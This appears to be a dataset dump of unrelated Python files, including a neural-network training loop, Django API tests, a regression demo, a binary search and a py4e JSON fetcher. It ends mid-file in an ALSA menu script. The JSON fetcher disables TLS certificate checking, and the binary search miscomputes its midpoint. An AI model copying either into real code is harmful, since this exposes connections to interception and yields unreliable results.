= min(err1, best_err1)\n\t\t\tif is_best:\n\t\t\t\tbest_err5 = err5\n\n\t\t\tprint('Current best accuracy (top-1 and 5 error):', best_err1, best_err5)\n\t\t\tsave_checkpoint({\n\t\t\t\t'epoch': epoch,\n\t\t\t\t'state_dict': cnn_model.state_dict(),\n\t\t\t\t'best_err1': best_err1,\n\t\t\t\t'best_err5': best_err5,\n\t\t\t\t'optimizer': optimizer.state_dict(),\n\t\t\t}, is_best, 'cnn')\n\n\t\t\tsave_checkpoint({\n\t\t\t\t'epoch': epoch,\n\t\t\t\t'state_dict': lstm_model.state_dict(),\n\t\t\t\t'best_err1': best_err1,\n\t\t\t\t'best_err5': best_err5,\n\t\t\t\t'optimizer': optimizer.state_dict(),\n\t\t\t}, is_best, 'lstm')\n\n\n\t\tprint('Best accuracy (top-1 and 5 error):', best_err1, best_err5)\n\n\ndef train(train_loader, cnn_model, lstm_model, criterion, optimizer, epoch):\n\tbatch_time = AverageMeter()\n\tdata_time = AverageMeter()\n\tlosses = AverageMeter()\n\ttop1 = AverageMeter()\n\ttop5 = AverageMeter()\n\n\t# switch to train mode\n\tcnn_model.train()\n\tlstm_model.train()\n\n\tend = time.time()\n\tcurrent_LR = get_learning_rate(optimizer)[0]\n\n\tfor loader in train_loader:\n\t\tfor i, (input, target_speech, target_total, target_face, pad) in enumerate(loader):\n\n\t\t\t# measure data loading time\n\t\t\tdata_time.update(time.time() - end)\n\n\t\t\tinput = input.cuda()\n\t\t\ttarget_speech, target_total, target_face = target_speech.cuda(), target_total.cuda(), target_face.cuda()\n\n\t\t\t# compute output\n\t\t\tinput_var = torch.autograd.Variable(input, requires_grad=True)\n\t\t\ttarget_speech_var = torch.autograd.Variable(target_speech)\n\t\t\ttarget_total_var = torch.autograd.Variable(target_total)\n\t\t\ttarget_face_var = torch.autograd.Variable(target_face)\n\n\t\t\toutput = lstm_model(cnn_model(input_var), pad)\n\n\t\t\tspeech_loss = 0.80 * criterion(output, target_speech_var)\n\t\t\ttotal_loss = 0.10 * criterion(output, target_total_var)\n\t\t\tface_loss = 0.10 * criterion(output, target_face_var)\n\t\t\tloss = speech_loss + total_loss + face_loss\n\n\t\t\t# measure accuracy and record loss\n\t\t\terr1, err5 = accuracy(output.data, target_speech_var, topk=(1, 5))\n\n\t\t\tlosses.update(loss.item(), input.size(0))\n\t\t\ttop1.update(err1.item(), input.size(0))\n\t\t\ttop5.update(err5.item(), input.size(0))\n\n\t\t\t# compute gradient and do SGD step\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\t#print(input_var.grad)\n\t\t\toptimizer.step()\n\n\t\t\t# measure elapsed time\n\t\t\tbatch_time.update(time.time() - end)\n\t\t\tend = time.time()\n\n\t\t\tif i % 30 == 0:\n\t\t\t\tprint('Epoch: [{0}/{1}][{2}/{3}]\\t'\n\t\t\t\t\t 'LR: {LR:.6f}\\t'\n\t\t\t\t\t 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n\t\t\t\t\t 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n\t\t\t\t\t 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n\t\t\t\t\t 'Top 1-err {top1.val:.4f} ({top1.avg:.4f})\\t'\n\t\t\t\t\t 'Top 5-err {top5.val:.4f} ({top5.avg:.4f})'.format(\n\t\t\t\t\tepoch, args.epochs, i, len(loader), LR=current_LR, batch_time=batch_time,\n\t\t\t\t\tdata_time=data_time, loss=losses, top1=top1, top5=top5))\n\n\tprint('* Epoch: [{0}/{1}]\\t Top 1-err {top1.avg:.3f} Top 5-err {top5.avg:.3f}\\t Train Loss {loss.avg:.3f}'.format(\n\t\tepoch, args.epochs, top1=top1, top5=top5, loss=losses))\n\n\treturn (losses.avg, top1.avg)\n\n\ndef validate(val_loader, cnn_model, lstm_model, criterion, epoch):\n\tbatch_time = AverageMeter()\n\tlosses = AverageMeter()\n\ttop1 = AverageMeter()\n\ttop5 = AverageMeter()\n\n\t# switch to evaluate mode\n\tcnn_model.eval()\n\tlstm_model.eval()\n\n\tend = time.time()\n\tfor loader in val_loader:\n\t\tfor i, (input, target, pad) in enumerate(loader):\n\t\t\ttarget = target.cuda()\n\n\t\t\tinput_var = torch.autograd.Variable(input)\n\t\t\ttarget_var = torch.autograd.Variable(target)\n\n\t\t\t\"\"\"\n\t\t\tUsing loaded model, we compute the output\n\t\t\tThis is in blank, still we don't have the model yet.\n\t\t\t\"\"\"\n\t\t\toutput = lstm_model(cnn_model(input_var), pad)\n\n\t\t\t# measure accuracy and record loss\n\t\t\terr1, err5 = accuracy(output.data, target, topk=(1, 5))\n\n\t\t\tloss = criterion(output, target_var)\n\t\t\tlosses.update(loss.item(), input.size(0))\n\n\t\t\ttop1.update(err1.item(), input.size(0))\n\t\t\ttop5.update(err5.item(), input.size(0))\n\n\t\t\t# measure elapsed time\n\t\t\tbatch_time.update(time.time() - end)\n\t\t\tend = time.time()\n\n\t\t\tif i % 30 == 0:\n\t\t\t\tprint('Test (on val set): [{0}/{1}][{2}/{3}]\\t'\n\t\t\t\t\t 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n\t\t\t\t\t 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n\t\t\t\t\t 'Top 1-err {top1.val:.4f} ({top1.avg:.4f})\\t'\n\t\t\t\t\t 'Top 5-err {top5.val:.4f} ({top5.avg:.4f})'.format(\n\t\t\t\t\t epoch, args.epochs, i, len(loader), batch_time=batch_time, loss=losses,\n\t\t\t\t\t top1=top1, top5=top5))\n\n\tprint('* Epoch: [{0}/{1}]\\t Top 1-err {top1.avg:.3f} Top 5-err {top5.avg:.3f}\\t Test Loss {loss.avg:.3f}'.format(\n\t\tepoch, args.epochs, top1=top1, top5=top5, loss=losses))\n\treturn top1.avg, top5.avg, losses.avg\n\n\ndef save_checkpoint(state, is_best, model_type='cnn', filename='checkpoint.pth.tar'):\n\tdirectory = \"results/%s/\" % (args.expname)\n\tif not os.path.exists(directory):\n\t\tos.makedirs(directory)\n\tfilename = directory + model_type + '_' + filename\n\ttorch.save(state, filename)\n\tif is_best:\n\t\tshutil.copyfile(filename, 'results/%s/' % (args.expname) + model_type + '_model_best.pth.tar')\n\n\nclass AverageMeter(object):\n\t\"\"\"Computes and stores the average and current value\"\"\"\n\n\tdef __init__(self):\n\t\tself.reset()\n\n\tdef reset(self):\n\t\tself.val = 0\n\t\tself.avg = 0\n\t\tself.sum = 0\n\t\tself.count = 0\n\n\tdef update(self, val, n=1):\n\t\tself.val = val\n\t\tself.sum += val * n\n\t\tself.count += n\n\t\tself.avg = self.sum / self.count\n\n\ndef adjust_learning_rate(optimizer, epoch):\n\t\"\"\"Sets the learning rate to the initial LR decayed by 10 every 30 epochs\"\"\"\n\tlr = args.lr * (0.1 ** (epoch // (args.epochs * 0.5))) * (0.1 ** (epoch // (args.epochs * 0.75)))\n\n\tfor param_group in optimizer.param_groups:\n\t\tparam_group['lr'] = lr\n\n\ndef get_learning_rate(optimizer):\n\tlr = []\n\tfor param_group in optimizer.param_groups:\n\t\tlr += [param_group['lr']]\n\treturn lr\n\n\ndef accuracy(output, target, topk=(1,)):\n\t\"\"\"Computes the precision@k for the specified values of k\"\"\"\n\tmaxk = max(topk)\n\tbatch_size = target.size(0)\n\n\t_, pred = output.topk(maxk, 1, True, True)\n\tpred = pred.t()\n\tcorrect = pred.eq(target.view(1, -1).expand_as(pred))\n\n\tres = []\n\tfor k in topk:\n\t\tcorrect_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n\t\twrong_k = batch_size - correct_k\n\t\tres.append(wrong_k.mul_(100.0 / batch_size))\n\n\treturn res\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"282780872","text":"import json\nimport urllib.request, urllib.parse, urllib.error\nimport ssl\n\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl='http://py4e-data.dr-chuck.net/comments_428422.json'\n\nurlh=urllib.request.urlopen(url, context=ctx)\ndata=urlh.read().decode()\n\ninfo = json.loads(data)\n#print(json.dumps(info, indent=4))\nnsum=0\nfor item in info['comments']:\n nsum+=int(item['count'])\nprint(nsum)\n","sub_path":"parser_webapp/static/parsers/json_parser.py","file_name":"json_parser.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"572936760","text":"from six.moves import urllib\nfrom sklearn.datasets import fetch_mldata\nfrom sklearn.preprocessing import OneHotEncoder\nimport numpy as np\n\nclass MNIST:\n def __init__(self):\n # Alternative method to load MNIST, if mldata.org is down\n from scipy.io import loadmat\n mnist_alternative_url = \"https://github.com/amplab/datascience-sp14/raw/master/lab7/mldata/mnist-original.mat\"\n mnist_path = \"./mnist-original.mat\"\n response = urllib.request.urlopen(mnist_alternative_url)\n with open(mnist_path, \"wb\") as f:\n content = response.read()\n f.write(content)\n mnist_raw = loadmat(mnist_path)\n self.data = mnist_raw[\"data\"].T\n \n onehot_encoder = OneHotEncoder(n_values=10, sparse=False)\n labels = mnist_raw[\"label\"][0].reshape(len(mnist_raw[\"label\"][0]), 1)\n labels = onehot_encoder.fit_transform(labels)\n \n self.target = labels","sub_path":"Notebooks/6_Backpropagation/load_mnist.py","file_name":"load_mnist.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"497808039","text":"from collections import Counter\nimport numpy as np\nimport pandas as pd\nimport csv\nimport os.path\n\ndef read_file(path):\n return np.array(pd.read_csv(path))\n\ndef create_data(result_data):\n data_mat = []\n for i, data in enumerate(result_data):\n buf = [45324+i, data]\n data_mat.append(buf)\n return data_mat\n\ndef write_csv(path, result_data):\n with open(path, 'w') as file:\n header = ['Id','y']\n writer = csv.writer(file)\n writer.writerow(header)\n #writer.writerows(map(lambda x: [x], result_data))\n writer.writerows(create_data(result_data))\n file.close()\n\ndef most_common_selection(num_data):\n name = '1.csv'\n # path = './result/' + name\n path = './' + name\n\n a = read_file(path)\n a = a[:,1]\n for i in range(num_data-1):\n name = ['2.csv','3.csv','4.csv','5.csv','6.csv']\n # path = './result/' + name[i]\n path = './' + name[i]\n b = read_file(path)\n b = b[:,1]\n # print(b.shape)\n a = np.column_stack((a,b))\n\n d = 4\n for i in range(len(a[:,0])-1):\n # print(a[i+1,:])\n b = np.array(a[i+1, :])\n cnt = Counter(b)\n c = cnt.most_common(1)\n # print(c)\n d = np.row_stack((d,c[0][0]))\n # print(d)\n d = d.flatten()\n output_file = './'\n write_csv(os.path.join(output_file, \"result.csv\"), d)\n","sub_path":"Task3/Hokwang/mostcommon.py","file_name":"mostcommon.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"263513076","text":"# Med 1 80ms\nclass Solution(object):\n def minPathSum(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n if not grid:\n return(0)\n mem = [[0 for i in range(len(grid[0]))] for j in range(len(grid))]\n mem [0][0] = grid[0][0]\n \n for i in range(1, len(grid)):\n mem[i][0] = grid[i][0] + mem[i-1][0]\n for i in range(1, len(grid[0])):\n mem[0][i] = grid[0][i] + mem[0][i-1]\n for i in range(1, len(grid)):\n for j in range(1, len(grid[0])):\n mem[i][j] = grid[i][j] + min(mem[i-1][j], mem[i][j-1])\n return(mem[len(grid)-1][len(grid[0])-1])\n","sub_path":"64. Minimum Path Sum.py","file_name":"64. Minimum Path Sum.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"318234258","text":"#!/usr/bin/python\n\nfrom docker import Client\nimport os\nimport sys\nimport re\nimport socket\nimport time\n\n\ndef graphite_output(data_dict, hostname=socket.gethostname(), metric_name=\"docker_direct_lvm_usage\"):\n \"\"\"Output in graphite like mode.\n\n :param data_dict: dict containing usage data\n :param hostname: server hostname\n :param metric_name: metric name\n :return: None\n \"\"\"\n timestamp = int(time.time())\n for key, val in data_dict.iteritems():\n for subkey, subval in val.iteritems():\n print(\"%s.%s.%s.%s %.4f %s\"\n % (hostname, metric_name, key, subkey, subval, timestamp))\n\n\ndef to_float(size_str):\n \"\"\"Convert string size to value in GB\n\n :param size_str: string size to convert\n :type size_str: str\n :return: size in GB\n :rtype: float\n \"\"\"\n # See : https://github.com/docker/go-units/blob/master/size.go\n # Humansize function is called. We divide by 1000 not 1024\n value, unit = size_str.split(\" \")\n value = float(value)\n if unit == \"MB\":\n value *= 0.001\n\n return value\n\n\ndef main():\n if not os.access(\"/var/run/docker.sock\", 4):\n print(\"This plugin must be run with good privileges\"\n \"to connect docker sock (root or docker group)\")\n sys.exit(4)\n\n cli = Client()\n info = cli.info()\n data_dict = {\"metadata\": {}, \"data\": {}}\n\n # Store into a dict\n for key, val in info['DriverStatus']:\n matches = re.search(\"([meta]*data) space (.*)$\", key.lower())\n if matches:\n data_dict[matches.groups()[0]][matches.groups()[1]] = to_float(val)\n\n # Compute percent\n for key in data_dict:\n data_dict[key][\"used_percentage\"] = 100 * data_dict[key][\"used\"] / data_dict[key][\"total\"]\n\n graphite_output(data_dict)\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"direct-lmv-usage/check_direct_lvm_usage.py","file_name":"check_direct_lvm_usage.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"319314114","text":"import unittest\nfrom pathlib import Path\n\nfrom tests.context import pPoagraph, pNode, pSeq, PangenomeFASTA, CT, P, pathtools\n\n\ndef nid(x): return pNode.NodeID(x)\n\n\ndef bid(x): return pNode.Base(x)\n\n\nclass ToFASTATests(unittest.TestCase):\n\n def setUp(self):\n self.fasta_dir = 'tests/output/fasta_files/'\n\n poagraph_nodes = [pNode.Node(node_id=nid(0), base=bid('A'), aligned_to=nid(1)),\n pNode.Node(node_id=nid(1), base=bid('G'), aligned_to=nid(0)),\n pNode.Node(node_id=nid(2), base=bid('C'), aligned_to=nid(3)),\n pNode.Node(node_id=nid(3), base=bid('G'), aligned_to=nid(2)),\n pNode.Node(node_id=nid(4), base=bid('A'), aligned_to=nid(5)),\n pNode.Node(node_id=nid(5), base=bid('T'), aligned_to=nid(4)),\n pNode.Node(node_id=nid(6), base=bid('G'), aligned_to=None),\n pNode.Node(node_id=nid(7), base=bid('G'), aligned_to=None),\n pNode.Node(node_id=nid(8), base=bid('A'), aligned_to=nid(9)),\n pNode.Node(node_id=nid(9), base=bid('C'), aligned_to=nid(10)),\n pNode.Node(node_id=nid(10), base=bid('G'), aligned_to=nid(11)),\n pNode.Node(node_id=nid(11), base=bid('T'), aligned_to=nid(8)),\n pNode.Node(node_id=nid(12), base=bid('A'), aligned_to=nid(13)),\n pNode.Node(node_id=nid(13), base=bid('C'), aligned_to=nid(12)),\n pNode.Node(node_id=nid(14), base=bid('T'), aligned_to=None),\n pNode.Node(node_id=nid(15), base=bid('A'), aligned_to=nid(16)),\n pNode.Node(node_id=nid(16), base=bid('C'), aligned_to=nid(17)),\n pNode.Node(node_id=nid(17), base=bid('G'), aligned_to=nid(15))]\n\n poagraph_sequences = {\n pSeq.SequenceID('seq0'):\n pSeq.Sequence(pSeq.SequenceID('seq0'),\n [pSeq.SequencePath([*map(nid, [0, 2, 4, 6, 7, 8, 12, 14, 16])])],\n pSeq.SequenceMetadata({'group': '1'})),\n pSeq.SequenceID('seq1'):\n pSeq.Sequence(pSeq.SequenceID('seq1'),\n [],\n pSeq.SequenceMetadata({'group': '1'})),\n pSeq.SequenceID('seq2'):\n pSeq.Sequence(pSeq.SequenceID('seq2'),\n [pSeq.SequencePath([*map(nid, [3, 4, 6, 7, 10, 12])]),\n pSeq.SequencePath([*map(nid, [14, 17])])],\n pSeq.SequenceMetadata({'group': '1'})),\n pSeq.SequenceID('seq3'):\n pSeq.Sequence(pSeq.SequenceID('seq3'),\n [pSeq.SequencePath([*map(nid, [11])]),\n pSeq.SequencePath([*map(nid, [13, 14, 15])])],\n pSeq.SequenceMetadata({'group': '1'})),\n }\n\n self.poagraph = pPoagraph.Poagraph(poagraph_nodes, poagraph_sequences)\n\n def test_1_sequences_fasta(self):\n expected_sequences_fasta_path = Path(self.fasta_dir + \"sequences.fasta\")\n\n actual_sequences_fasta_content = PangenomeFASTA.poagraph_to_fasta(self.poagraph)\n expected_sequences_fasta_content = pathtools.get_file_content(expected_sequences_fasta_path)\n self.assertEqual(expected_sequences_fasta_content, actual_sequences_fasta_content)\n\n def test_2_consensuses_tree_fasta(self):\n expected_consensuses_fasta_path = Path(self.fasta_dir + \"consensuses.fasta\")\n\n consensuses_tree = CT.ConsensusTree()\n consensuses_tree.nodes = [\n # all members set\n CT.ConsensusNode(consensus_id=CT.ConsensusNodeID(0),\n parent_node_id=CT.ConsensusNodeID(-1),\n children_nodes_ids=[CT.ConsensusNodeID(1), CT.ConsensusNodeID(2)],\n sequences_ids=[pSeq.SequenceID('seq0'),\n pSeq.SequenceID('seq1'),\n pSeq.SequenceID('seq2'),\n pSeq.SequenceID('seq3')],\n mincomp=CT.CompatibilityToPath(0.5, P(1)),\n compatibilities_to_all={pSeq.SequenceID('seq0'): CT.CompatibilityToPath(1.0, P(1)),\n pSeq.SequenceID('seq1'): CT.CompatibilityToPath(0.9, P(1)),\n pSeq.SequenceID('seq2'): CT.CompatibilityToPath(0.95, P(1)),\n pSeq.SequenceID('seq3'): CT.CompatibilityToPath(0.6, P(1))},\n consensus_path=pSeq.SequencePath([nid(0), nid(2), nid(5), nid(6), nid(10), nid(12), nid(13), nid(16)])),\n # no compatibilities to all, no mincomp\n CT.ConsensusNode(consensus_id=CT.ConsensusNodeID(1),\n parent_node_id=CT.ConsensusNodeID(0),\n sequences_ids=[pSeq.SequenceID('seq0'),\n pSeq.SequenceID('seq1'),\n pSeq.SequenceID('seq2')],\n consensus_path=pSeq.SequencePath(\n [nid(0), nid(2), nid(3), nid(6), nid(10), nid(11), nid(13), nid(17)]))\n ]\n\n actual_consensuses_fasta_content = PangenomeFASTA.consensuses_tree_to_fasta(self.poagraph, consensuses_tree)\n expected_consensuses_fasta_content = pathtools.get_file_content(expected_consensuses_fasta_path)\n self.assertEqual(expected_consensuses_fasta_content, actual_consensuses_fasta_content)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/output/tests_to_fasta.py","file_name":"tests_to_fasta.py","file_ext":"py","file_size_in_byte":5859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"614797529","text":"\"\"\"\nThis test suite is setup for the Django development environment and not for the Heroku production environment. \nThe current app's settings (as of Mary 18, 2015) are set up for the heroku production environment, as such these test suites cannot be run.\nTo run these tests, revert the setttings back to dev: \n1) Remove the configurations listed at the end of Settings. They are labeled 'Heroku Prod Settings'\n2) Reconfigure the server URL in static/js/chatApiClient.js. This variable is listed at the top\nOR\n1) Follow these instructions and set this app up to run tests on Heroku: http://stackoverflow.com/questions/13705328/how-to-run-django-tests-on-heroku\n\"\"\"\n\nfrom django.test import TestCase, Client\nfrom chatRoomApi.models import Messages\nimport json\nfrom django.core.urlresolvers import reverse\nfrom chatRoomApi.views import query\n\nclass TestHelperFunctionQueryWithTwentyRowDB(TestCase):\n \"\"\"\n This will test suite will test the helper function, query(), ability to make accurate DB queries with a 20 Row DB\n Purpose: to make sure query can pull the LATEST 'n' DB objects when there are more than 'n' objects in the DB\n \"\"\"\n def setUp(self):\n # POPULATE DB WITH 20 MESSAGES\n self.mockTwentyMessages = [{'username': 'testUser', 'message': str(num)} for num in range(1, 21)]\n for message in self.mockTwentyMessages:\n foo = Messages(username=message['username'], message= message['message'])\n foo.save()\n\n def testCanDBQueryHandleTwentyMessages(self):\n tenMessages = query(10)\n self.assertEqual(tenMessages, self.mockTwentyMessages[-10:])\n\nclass TestHelperFunctionQueryWithTwoRowDB(TestCase):\n \"\"\"\n This will test suite will test the helper function, query(), ability to make accurate DB queries with a 2 Row DB\n Purpose: to make sure query can pull the LATEST 'n' DB objects when number of objects in DB < n\n \"\"\"\n def setUp(self):\n # POPULATE DB WITH 2 MESSAGES\n self.mockTwoMessages = [{'username': 'testUser', 'message': str(num)} for num in range(1, 3)]\n for message in self.mockTwoMessages:\n foo = Messages(username=message['username'], message= message['message'])\n foo.save()\n\n def testCanDBQueryHandleMoreQueriesThanThereAreObjectsInTheDB(self):\n tenMessages = query(10)\n self.assertEqual(tenMessages, self.mockTwoMessages[-10:])\n\nclass TestHelperFunctionQueryWithEmptyDB(TestCase):\n \"\"\"\n This will test suite will test the helper function, query(), ability to make accurate DB queries with a 0 Row (empty) DB\n Purpose: Intercept \"model.DoesNotExist\" exception. Return this dictionary: {\"username\": \"none\", \"message\": \"none\"}. Client will know what to do.\n \"\"\"\n\n def testCanDBQueryHandleMoreQueriesThanThereAreObjectsInTheDB(self):\n tenMessages = query(10)\n self.assertEqual(tenMessages, \"none\")\n\nclass TestChatApiView(TestCase):\n\n def testPostRequestToView(self):\n \"\"\"\n Test that view correctly reads the json object sent through POST and writes the information to the DB.\n \"\"\"\n c = Client()\n chatPOST = json.dumps( {\"username\": \"testUser\", \"message\": \"test\"} )\n c.post(reverse('chatApi'), data=chatPOST, content_type='application/json')\n self.assertEqual(Messages.objects.get(username='testUser').message, \"test\")\n\n def testGetRequestToView(self):\n \"\"\"\n Test that view correctly queries the DB for chat log (10 latest chat messages) and returns chat log as JSON \n \"\"\"\n ### POPULATE DB WITH 20 MESSAGE OBJECTS ###\n mockTwentyMessages = [{'username': 'testUser', 'message': str(num)} for num in range(1, 21)]\n for message in mockTwentyMessages:\n foo = Messages(username=message['username'], message= message['message'])\n foo.save()\n ###\n\n expectedChatLog = json.dumps( {\"chatLog\": [ {\"username\": \"testUser\", \"message\": \"11\"}, \n {\"username\": \"testUser\", \"message\": \"12\"},\n {\"username\": \"testUser\", \"message\": \"13\"},\n {\"username\": \"testUser\", \"message\": \"14\"},\n {\"username\": \"testUser\", \"message\": \"15\"},\n {\"username\": \"testUser\", \"message\": \"16\"},\n {\"username\": \"testUser\", \"message\": \"17\"},\n {\"username\": \"testUser\", \"message\": \"18\"},\n {\"username\": \"testUser\", \"message\": \"19\"},\n {\"username\": \"testUser\", \"message\": \"20\"} ] } )\n\n c = Client()\n response = c.get(reverse('chatApi') )\n\n self.assertEqual(response.content, expectedChatLog)\n\n","sub_path":"chatRoomApi/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"47552190","text":"from statistics import mean\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import style\r\nimport random\r\n\r\nstyle.use('fivethirtyeight')\r\n\r\n\r\n#xs = np.array([1,2,3,4,5,6], dtype = np.float64)\r\n#ys = np.array([5,4,6,5,6,7], dtype = np.float64)\r\n\r\ndef create_dataset(hm ,variance ,step=2 ,correlation=False):\r\n val = 1\r\n ys = []\r\n for i in range(hm):\r\n y = val + random.randrange(-variance,variance)\r\n ys.append(y)\r\n\r\n if correlation and correlation =='pos':\r\n val += step\r\n elif correlation and correlation =='neg':\r\n val -= step\r\n\r\n xs = [i for i in range(len(ys))]\r\n\r\n return np.array(xs, dtype=np.float64), np.array(ys, dtype=np.float64)\r\n\r\n\r\n\r\ndef best_fit_slope_and_intercept(xs,ys):\r\n\r\n m = (((mean(xs)*mean(ys)) - mean(xs*ys)) / ((mean(xs)*mean(xs)) - mean(xs*xs)))\r\n\r\n b = (mean(ys) - (m*mean(xs)))\r\n \r\n return m,b\r\n\r\ndef squarred_error(ys_original,ys_line):\r\n return sum((ys_line - ys_original)**2)\r\n\r\ndef coefficient_of_determination(ys_original,ys_line):\r\n y_mean_line = [mean(ys_original) for y in ys_original]\r\n squarred_error_ragr = squarred_error(ys_original,ys_line)\r\n squarred_error_y_mean = squarred_error(ys_original,y_mean_line)\r\n return 1 - (squarred_error_ragr / squarred_error_y_mean)\r\n\r\n\r\nxs,ys = create_dataset(40,10,2,correlation='pos')\r\n\r\n\r\nm,b = best_fit_slope_and_intercept(xs,ys)\r\n\r\nprint(m,b)\r\n\r\nregression_line = [(m*x)+b for x in xs ]\r\n\r\nr_squarred = coefficient_of_determination(ys,regression_line)\r\nprint(r_squarred)\r\n\r\npredict_x = 8\r\npredict_y = (m*predict_x) + b\r\n\r\nplt.scatter(xs,ys)\r\nplt.plot(xs,regression_line)\r\nplt.scatter(predict_x,predict_y,s=100)\r\nplt.show()\r\n","sub_path":"linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"339663319","text":"\"\"\"token-level accuracy evaluator for each class of BOI-like tags\"\"\"\nfrom src.evaluators.evaluator_base import EvaluatorBase\nfrom src.data_io.data_io_connl_ner_2003 import DataIOConnlNer2003\n\nclass EvaluatorAccuracyTokenLevel(EvaluatorBase):\n \"\"\"EvaluatorAccuracyTokenLevel is token-level accuracy evaluator for each class of BOI-like tags.\"\"\"\n def get_evaluation_score(self, targets_tag_sequences, outputs_tag_sequences, word_sequences=None):\n cnt = 0\n match = 0\n for target_seq, output_seq in zip(targets_tag_sequences, outputs_tag_sequences):\n for t, o in zip(target_seq, output_seq):\n cnt += 1\n if t == o:\n match += 1\n acc = match*100.0/cnt\n msg = '*** Token-level accuracy: %1.2f%% ***' % acc\n return acc, msg\n\n def write_WordTargetPred(self, args, fn_out_dev, fn_out_test, tagger, datasets_bank, batch_size=-1):\n d_word_sequences = datasets_bank.word_sequences_dev\n d_targets_tag_sequences = datasets_bank.tag_sequences_dev\n d_outputs_tag_sequences = tagger.predict_tags_from_words(d_word_sequences, batch_size)\n d_data_io_connl_2003 = DataIOConnlNer2003()\n d_data_io_connl_2003.write_data(fn_out_dev, d_word_sequences, d_targets_tag_sequences, d_outputs_tag_sequences)\n\n word_sequences = datasets_bank.word_sequences_test\n targets_tag_sequences = datasets_bank.tag_sequences_test\n outputs_tag_sequences = tagger.predict_tags_from_words(word_sequences, batch_size)\n data_io_connl_2003 = DataIOConnlNer2003()\n data_io_connl_2003.write_data(fn_out_test, word_sequences, targets_tag_sequences, outputs_tag_sequences)\n\n","sub_path":"bow_seq-aggregator/src/evaluators/evaluator_acc_token_level.py","file_name":"evaluator_acc_token_level.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"522256958","text":"# Defining Binary Search function\ndef binary_search(arr, x, low, high):\n if high >= low:\n mid = (low + (high - low))//2\n if arr[mid] == x :\n return mid\n elif arr[mid] > x :\n return binary_search(arr,x,low,mid-1)\n else:\n return binary_search(arr,x,mid + 1,high) \n else :\n return -1\n\n# Main function\ndef main():\n \n # Declaring variables\n result = 0\n n = int(input(\"\\nEnter the no. of element in array : \"))\n high = n\n \n arr = list()\n while n > 0:\n a = int(input(\"\\nEnter the element : \"))\n arr.append(a)\n n = n - 1\n \n x = int(input(\"\\nEnter the element want to search : \"))\n \n # Calling Binary Search Function\n result = binary_search(arr,x,0,high-1)\n if result == -1:\n print(\"\\nElement is not found in array\")\n else:\n print(\"\\nElement is found at index {}\".format(result))\n\n# Calling Main Function\nif __name__ == \"__main__\":\n main()","sub_path":"Binary Search/Recurssion Approach/Binary Search.py","file_name":"Binary Search.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"292185497","text":"#!/bin/env python3\n# Copyright (C) 2014-2015 by Raphael Scholer\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\"\"\" Functions for creating ALSA pipe menus.\n\nConstants:\n AMIXER_CMD -- Command for amixer\n ALSAMIXER_CMD -- Command for dialog based audio mixer.\n SUPPORTED_MIXERS -- Mixers which are proven to work, when being\n used with this script.\n\nFunctions:\n calc_volume -- Calculate current volume.\n create_mixer_menu -- Create menu for controlling the volume.\n main -- Main function\n\"\"\"\nimport sys\n\nimport alsaaudio\n\nfrom obpm import builder\nfrom obpm.scripts import common\n\nAMIXER_CMD = 'amixer'\nALSAMIXER_CMD = 'alsamixer'\nSUPPORTED_MIXERS = ('Headphone', 'Speaker', 'Master')\n\n\ndef 